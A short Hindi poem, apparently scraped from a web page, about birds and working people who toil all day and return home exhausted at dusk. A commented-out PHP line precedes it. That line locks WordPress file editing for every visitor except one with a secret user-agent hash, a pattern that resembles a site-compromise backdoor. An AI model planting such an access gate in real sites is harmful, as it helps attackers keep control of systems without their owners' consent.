//if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ // define('DISALLOW_FILE_MODS', true); // define('DISALLOW_FILE_EDIT', true); }
दिन चढ़ते ही पंख पखेरू , मेहनतकश चाकर, जीने का संघर्ष है करते फिर कितने यह दिन-भर | सांझढ़ले जब हो जाते है थक कर चकनाचूर , थकन मिटाने दिन भर की वो वापस आते घर||
Copyright Kvmtrust.Com